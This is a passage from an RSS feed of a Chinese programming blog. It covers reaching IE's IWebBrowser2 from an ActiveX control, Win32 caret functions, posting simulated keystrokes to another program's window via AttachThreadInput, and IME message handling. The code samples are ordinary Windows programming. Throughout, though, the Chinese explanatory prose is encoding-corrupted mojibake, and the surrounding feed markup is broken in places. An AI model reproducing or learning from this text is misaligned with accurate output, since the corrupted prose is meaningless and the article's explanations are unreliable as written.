>http://www.neowin.net/forum/index.php?showtopic=159107&hl=toolbar</a></p><p><a >http://www.winmatrix.com/forums/index.php?showtopic=1008&st=0</a></p><img src ="http://www.shnenglu.com/aqazero/aggbug/9816.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/aqazero/" target="_blank">brent</a> 2006-07-13 17:28 <a href="http://www.shnenglu.com/aqazero/archive/2006/07/13/9816.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>Activex鍜宨e 嫻忚鍣ㄧ殑浜掑姩http://www.shnenglu.com/aqazero/archive/2005/12/30/14186.htmlbrentbrentFri, 30 Dec 2005 09:51:00 GMThttp://www.shnenglu.com/aqazero/archive/2005/12/30/14186.htmlhttp://www.shnenglu.com/aqazero/comments/14186.htmlhttp://www.shnenglu.com/aqazero/archive/2005/12/30/14186.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/14186.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/14186.html浠婂ぉ涓崍鐪嬪埌涓涓數(shù)瀛愮鍚嶇殑杞歡銆備竴鐪嬶紝鎯婅壋錛?br />activex鎺т歡鐩存帴璇誨彇html鍏冪礌鐨勫鹼紝姣斿<input type="text"></input>

瀹炲湪鏄墰鍟婏紒淇轟竴寮濮嬩互涓烘槸鐢╦avascript鏉ュ仛鐨?鏌ョ湅浜嗕緥瀛愮殑婧愪唬鐮佸悗鍙戠幇涓嶆槸.

閭d箞榪欎釜acitvex鎺т歡鑷沖皯搴旇鍙互鑾峰緱ie 嫻忚鍣ㄧ殑鎺ュ彛IWebBrowser2,浣嗗畠鏄庝箞鍋氱殑鍛?

涓寮濮嬫垜鐨勬濊礬鏄?ie嫻忚鍣ㄤ綔涓轟竴涓鍣?瀹冩槸鍚﹀悓鏃跺疄鐜頒簡IOleContainer鍜孖WebBrowser2?璇曢獙鍙戠幇涓嶅...緇忚繃澶氭柟google,鎵懼埌CSDN涓璼hanhe鐨勪笓鏍?a >http://blog.csdn.net/shanhe/category/15859.aspx?PageNumber=2
鎵懼埌鍙鐨勪唬鐮佸涓?

IOleContainer* pContainer;
HRESULT hr = m_pClientSite->GetContainer(&pContainer);
if (FAILED(hr))
聽聽聽 return hr;

IServiceProvider* pServiceProvider;
hr = pContainer->QueryInterface(IID_IServiceProvider,
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 (void**)&pServiceProvider);
pContainer->Release();
if (FAILED(hr))
聽聽聽 return hr;

IWebBrowser2* pWebBrowser;
hr = pServiceProvider->QueryService(SID_SWebBrowserApp,
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 IID_IWebBrowser2,
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 (void**)&pWebBrowser);
pServiceProvider->Release();
if (FAILED(hr))
聽聽聽 return hr;

鍙互鑾峰彇浜咺WebBrowser2鎺ュ彛,浣嗗浣曡鍙杊tml鍏冪礌鐨勫煎憿?IWebBrowser2鎺ュ彛浼間箮娌℃湁榪欎釜鍔熻兘?

鍙堟槸鍗冨北涓囨按鐨刧oogle:
vckbase:
http://vckbase.net/document/viewdoc/?id=1446
codeguru:
http://www.codeguru.com/Cpp/COM-Tech/atl/misc/article.php/c3619/

iehtmlelement.jpg


msdn 2003 :
MSHTML ReferenceHOWTO: Get the WebBrowser Object Model of an HTML Frame
HOWTO: Retrieve the URL of a Web Page from an ActiveX Control

msdn鍏充簬MSHTML鐨勫弬鑰冧篃澶熺儌錛屽垪鍑轟竴鍫嗘帴鍙f柟娉曞氨涓嶇浜嗐傜┒绔熺粨鏋勫浣曡鑷繁鍘葷爺絀躲傛諱箣寰堟槸涓嶇埥銆?/p>

brent 2005-12-30 17:51 鍙戣〃璇勮
]]>
鍏充簬閿洏杈撳叆鍜岃緭鍏ユ硶鐨勮褰?/title><link>http://www.shnenglu.com/aqazero/archive/2005/12/19/14193.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 19 Dec 2005 07:10:00 GMT</pubDate><guid>http://www.shnenglu.com/aqazero/archive/2005/12/19/14193.html</guid><wfw:comment>http://www.shnenglu.com/aqazero/comments/14193.html</wfw:comment><comments>http://www.shnenglu.com/aqazero/archive/2005/12/19/14193.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.shnenglu.com/aqazero/comments/commentRss/14193.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/aqazero/services/trackbacks/14193.html</trackback:ping><description><![CDATA[ <img height="1" src="http://www.cnitblog.com/Raistlin/aggbug/5592.html" width="1" /> <strong>鍏充簬鍏夋爣鐨勪竴浜涘嚱鏁?br /></strong>BOOL CreateCaret(HWND hWnd,HBITMAP hBitmap,int nWidth,int nHeight);涓虹獥鍙e垱寤哄厜鏍?br />BOOL DestroyCaret();閿姣佸厜鏍?br />UINT GetCaretBlinkTime();鍏夋爣闂儊闂撮殧鏃墮棿<br />BOOL GetCaretPos(LPPOINT lpPoint);鍏夋爣鍦ㄥ綋鍓嶇獥鍙g殑client浣嶇疆<br />BOOL HideCaret(HWND hWnd);闅愯棌<br />BOOL SetCaretBlinkTime(UINT uMSeconds);鍏夋爣闂儊闂撮殧鏃墮棿<br />BOOL SetCaretPos(int X,int Y);浣嶇疆<br />BOOL ShowCaret(HWND hWnd);鏄劇ず<br /><br />CWnd::CreateCaret<br />CWnd::CreateSolidCaret<br />CWnd::CreateGrayCaret<br />CWnd::GetCaretPos<br />CWnd::SetCaretPos<br />CWnd::HideCaret<br />CWnd::ShowCaret<br /><br /><strong>涓哄叾瀹冭繘紼嬫ā鎷熻緭鍏ュ瓧絎︼細</strong><br />鎽樿嚜<a >http://www.pcbookcn.com/article/1113.htm</a><br />銆銆棣栧厛瑕佺煡閬撳湪Windows緋葷粺涓笌閿洏鎸夐敭鐩稿叧鐨勬秷鎭湁錛歐M_KEYDOWN銆乄M_KEYUP銆?WM_SYSKEYDOWN銆乄M_SYSKEYUP銆乄M_CHAR絳夈傚叾涓紝W(xué)M_KEYDOWN涓洪敭鎸変笅錛學(xué)M_KEYUP涓洪敭寮硅搗錛學(xué)M_SYSKEYDOWN涓虹郴緇熼敭鎸変笅錛學(xué)M_SYSKEYUP涓虹郴緇熼敭寮硅搗錛學(xué)M_CHAR涓烘寜閿搴旂殑瀛楃銆?br />銆銆瑕佹ā鎷熼敭鐩樹駭鐢熼敭鐩樻秷鎭紝鎴戜滑灝卞彂閫佷竴鏉¢敭鐩樻秷鎭粰鎸囧畾紿楀彛銆傛瘮濡傝妯℃嫙涓涓瓧姣嶉敭鈥淎鈥濓紝鍙互榪欐牱:PostMessage(hWnd, WM_CHAR, 'A', 0); 妯℃嫙鎸変竴涓洖杞︼細PostMessage(hWnd, WM_KEYDOWN, VK_RETURN, 0)銆傝繖閲岀殑鍏抽敭闂鏄紜畾紿楀彛鍙ユ焺錛坔Wnd錛夛紝浣跨敤GetFocus()鍑芥暟鍙互寰楀埌閿洏鍏夋爣鎵鍦ㄧ獥鍙e彞鏌勶紝浣嗚鍑芥暟鍙兘寰楀埌褰撳墠榪涚▼鍐呯殑紿楀彛鍙ユ焺銆?br />銆銆濡傛灉瑕佸緱鍒板叾浠栧簲鐢ㄧ▼搴忕殑閿洏鍏夋爣鎵鍦ㄧ獥鍙e彞鏌勶紝闇瑕佽皟鐢?AttachThreadInput()鍑芥暟銆傝鍑芥暟鐨勪綔鐢ㄥ氨鏄皢鍏朵粬紿楀彛綰跨▼鐨勮緭鍏ラ檮鍔犲埌鏈獥鍙g嚎紼嬬殑杈撳叆鎿嶄綔涓紝榪欐牱灝卞彲浠ヨ皟鐢℅etFocus()鍑芥暟寰楀埌鍏朵粬紿楀彛鐨勫彞鏌勪簡銆?br /><br />AttachThreadInput()鍑芥暟鐨勫師褰㈠涓? <br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #000000">BOOL聽AttachThreadInput(聽<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" />DWORD聽idAttach,聽</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">聽闇瑕侀檮鍔犵殑綰跨▼ID聽</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">DWORD聽idAttachTo,聽</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">聽闄勫姞鍒扮殑綰跨▼ID聽</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">BOOL聽fAttach聽</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">聽true聽闄勫姞聽false聽鍙栨秷聽</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">);聽</span></div>鍑芥暟浣跨敤鐨勮繃紼嬪ぇ鑷村涓? <br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #000000">HWND聽hWnd;聽<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" />hWnd聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽GetForegroundWindow();聽</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">聽寰楀埌褰撳墠紿楀彛聽</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">聽(hWnd聽</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">聽Form1</span><span style="COLOR: #000000">-></span><span style="COLOR: #000000">Handle)聽</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">;聽</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">聽鎺掗櫎紼嬪簭鏈韓鐨勭獥鍙B?/span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">DWORD聽FormThreadID聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽GetCurrentThreadId();聽</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">聽鏈▼搴忕殑綰跨▼ID聽<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">聽褰撳墠紿楀彛鐨勭嚎紼婭D聽</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">DWORD聽CWndThreadID聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽GetWindowThreadProcessId(hWnd,聽NULL);聽<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">聽闄勫姞杈撳叆綰跨▼聽</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">AttachThreadInput(CWndThreadID,聽FormThreadID,聽</span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">);聽<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">聽寰楀埌褰撳墠閿洏鍏夋爣鎵鍦ㄧ殑紿楀彛聽</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">hWnd聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽GetFocus();聽<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">聽鍙栨秷闄勫姞鐨勮緭鍏ョ嚎紼嬄?/span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">AttachThreadInput(CWndThreadID,聽FormThreadID,聽</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">);聽<br /></span></div>hWnd灝辨槸褰撳墠閿洏鍏夋爣鎵鍦ㄧ殑紿楀彛鍙ユ焺銆傚彟澶栵紝緇忚繃嫻嬭瘯鍙戠幇錛屽湪Windows2000緋葷粺涓嬪彂閫佸瓧絎︽秷鎭紙WM_CHAR錛夋椂錛屽鏋滃瓧絎︽槸涓涓眽瀛楋紝鍒欒瀛楃瀵瑰簲鐨勮櫄鎷熼敭鐩樼爜楂樹綅涓嶄負0錛岃繖鏍峰緱鍒扮殑瀛楃灝變笉姝g‘銆傝В鍐沖姙娉曟槸鍋氫竴涓滀笌鈥濊繍綆? ch & 0xFF灝卞彲浠ヤ簡銆?<br /><br /><br /><strong>杈撳叆娉曠殑鍒囨崲:</strong><br />WM_INPUTLANGCHANGE<br />platform sdk=>User Interface Servic=>windowing=>windows=>window reference =>Messages<br /><br /><strong>鍏充簬杈撳叆娉?</strong><br />platform sdk=>Windows Base Services=>International Features=>Input Method Editor<br /><br /><br /><strong>鑷繁澶勭悊閿洏杈撳叆瑕佸仛鐨勪簨錛?br /></strong>濡傛灉浣犺鑷繁澶勭悊閿洏鍜岃緭鍏ユ硶鐨勮緭鍏ヨ屼笉鐢‥idt鎴杛ichedit絳夋帶浠剁殑璇濓紝鑷沖皯闇瑕佸仛浠ヤ笅澶勭悊浠ヤ笅娑堟伅WM_IME_STARTCOMPOSITION;WM_IME_ENDCOMPOSITION;WM_IME_COMPOSITION;<br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #000000">LRESULT聽CCaretStudyView::OnImeStartComposition(WPARAM聽wParam,聽LPARAM聽lParam)<br /><img id="Codehighlighter1_77_492_Open_Image" onclick="this.style.display='none'; Codehighlighter1_77_492_Open_Text.style.display='none'; Codehighlighter1_77_492_Closed_Image.style.display='inline'; Codehighlighter1_77_492_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_77_492_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_77_492_Closed_Text.style.display='none'; Codehighlighter1_77_492_Open_Image.style.display='inline'; Codehighlighter1_77_492_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedBlock.gif" align="top" /></span><span id="Codehighlighter1_77_492_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_77_492_Open_Text"><span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽HIMC聽hIMC聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽::ImmGetContext(m_hWnd);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽COMPOSITIONFORM聽CompForm;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽CompForm.dwStyle聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽CFS_POINT;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽CompForm.ptCurrentPos.x聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽</span><span style="COLOR: #000000">10</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">鐢ㄥ疄闄呯殑鍊間唬鏇?/span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">聽聽聽聽CompForm.ptCurrentPos.y聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽</span><span style="COLOR: #000000">10</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">鐢ㄥ疄闄呯殑鍊間唬鏇?/span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">聽聽聽聽::ImmSetCompositionWindow(hIMC,聽</span><span style="COLOR: #000000">&</span><span style="COLOR: #000000">CompForm);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">DropCaret();鍙湪姝ゅ闅愯棌鍏夋爣錛屽湪OnImeEndComposition娑堟伅澶勭悊涓啀鏄劇ず鍏夋爣</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">聽聽聽聽::ImmReleaseContext(m_hWnd,聽hIMC);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">聽::DefWindowProc(m_hWnd,聽WM_IME_STARTCOMPOSITION,聽wParam,聽lParam);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span></span><span style="COLOR: #000000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img id="Codehighlighter1_542_602_Open_Image" onclick="this.style.display='none'; Codehighlighter1_542_602_Open_Text.style.display='none'; Codehighlighter1_542_602_Closed_Image.style.display='inline'; Codehighlighter1_542_602_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_542_602_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_542_602_Closed_Text.style.display='none'; Codehighlighter1_542_602_Open_Image.style.display='inline'; Codehighlighter1_542_602_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedBlock.gif" align="top" />LRESULT聽CCaretStudyView::OnImeEndComposition()聽</span><span id="Codehighlighter1_542_602_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_542_602_Open_Text"><span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">ShowCaretAtCurrentPosition();</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">聽聽聽聽</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">聽Default();<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span></span><span style="COLOR: #000000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" />LRESULT聽CCaretStudyView::OnImeComposition(WPARAM聽wParam,聽LPARAM聽lParam)<br /><img id="Codehighlighter1_677_1288_Open_Image" onclick="this.style.display='none'; Codehighlighter1_677_1288_Open_Text.style.display='none'; Codehighlighter1_677_1288_Closed_Image.style.display='inline'; Codehighlighter1_677_1288_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_677_1288_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_677_1288_Closed_Text.style.display='none'; Codehighlighter1_677_1288_Open_Image.style.display='inline'; Codehighlighter1_677_1288_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedBlock.gif" align="top" /></span><span id="Codehighlighter1_677_1288_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_677_1288_Open_Text"><span style="COLOR: #000000">{<br /><img id="Codehighlighter1_708_1267_Open_Image" onclick="this.style.display='none'; Codehighlighter1_708_1267_Open_Text.style.display='none'; Codehighlighter1_708_1267_Closed_Image.style.display='inline'; Codehighlighter1_708_1267_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="Codehighlighter1_708_1267_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_708_1267_Closed_Text.style.display='none'; Codehighlighter1_708_1267_Open_Image.style.display='inline'; Codehighlighter1_708_1267_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedSubBlock.gif" align="top" />聽聽聽聽</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">聽(lParam聽</span><span style="COLOR: #000000">&</span><span style="COLOR: #000000">聽GCS_RESULTSTR)聽</span><span id="Codehighlighter1_708_1267_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_708_1267_Open_Text"><span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">get聽result聽text</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">聽聽聽聽聽聽聽聽HIMC聽hIMC聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽::ImmGetContext(m_hWnd);<br /><img id="Codehighlighter1_781_1252_Open_Image" onclick="this.style.display='none'; Codehighlighter1_781_1252_Open_Text.style.display='none'; Codehighlighter1_781_1252_Closed_Image.style.display='inline'; Codehighlighter1_781_1252_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="Codehighlighter1_781_1252_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_781_1252_Closed_Text.style.display='none'; Codehighlighter1_781_1252_Open_Image.style.display='inline'; Codehighlighter1_781_1252_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedSubBlock.gif" align="top" />聽聽聽聽聽聽聽聽</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">聽(hIMC)聽</span><span id="Codehighlighter1_781_1252_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_781_1252_Open_Text"><span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽聽聽聽聽</span><span style="COLOR: #0000ff">const</span><span style="COLOR: #000000">聽</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">聽maxLenInputIME聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽</span><span style="COLOR: #000000">200</span><span style="COLOR: #000000">;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽聽聽聽聽wchar_t聽wcs[maxLenInputIME];<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽聽聽聽聽LONG聽bytes聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽::ImmGetCompositionStringW(hIMC,<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽GCS_RESULTSTR,聽wcs,聽(maxLenInputIME</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽聽聽聽聽</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/dot.gif" /><img src="http://www.cnitblog.com/Images/dot.gif" /><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽聽聽聽聽</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">聽Set聽new聽position聽after聽converted</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">聽聽聽聽聽聽聽聽聽聽聽聽CPoint聽pos聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽GetCurrentPos();<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽聽聽聽聽COMPOSITIONFORM聽CompForm;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽聽聽聽聽CompForm.dwStyle聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽CFS_POINT;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽聽聽聽聽CompForm.ptCurrentPos.x聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽pos.x;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽聽聽聽聽CompForm.ptCurrentPos.y聽</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">聽pos.y;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽聽聽聽聽::ImmSetCompositionWindow(hIMC,聽</span><span style="COLOR: #000000">&</span><span style="COLOR: #000000">CompForm);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽聽聽聽聽::ImmReleaseContext(m_hWnd,聽hIMC);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />聽聽聽聽聽聽聽聽}</span></span><span style="COLOR: #000000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽聽聽聽聽</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">聽</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />聽聽聽聽}</span></span><span style="COLOR: #000000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />聽聽聽聽</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">聽Default();<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span></span></div>浠ヤ笂涓変釜娑堟伅鏄笉鍋氬鐞嗕篃鍙互錛屽彧涓嶈繃涓嶄細鏀寔濡傚井杞嫾闊寵緭鍏ユ硶鐨勮窡闅忓姛鑳姐?br /><br />騫禬M_IME_CHAR鍜學(xué)M_CHAR娣誨姞瀛楃銆傚湪WM_KEYDOWN涓鐞嗙壒孌婂瓧絎︼紝濡俈K_BACK VK_DELTE<img src ="http://www.shnenglu.com/aqazero/aggbug/14193.html" width = "1" height 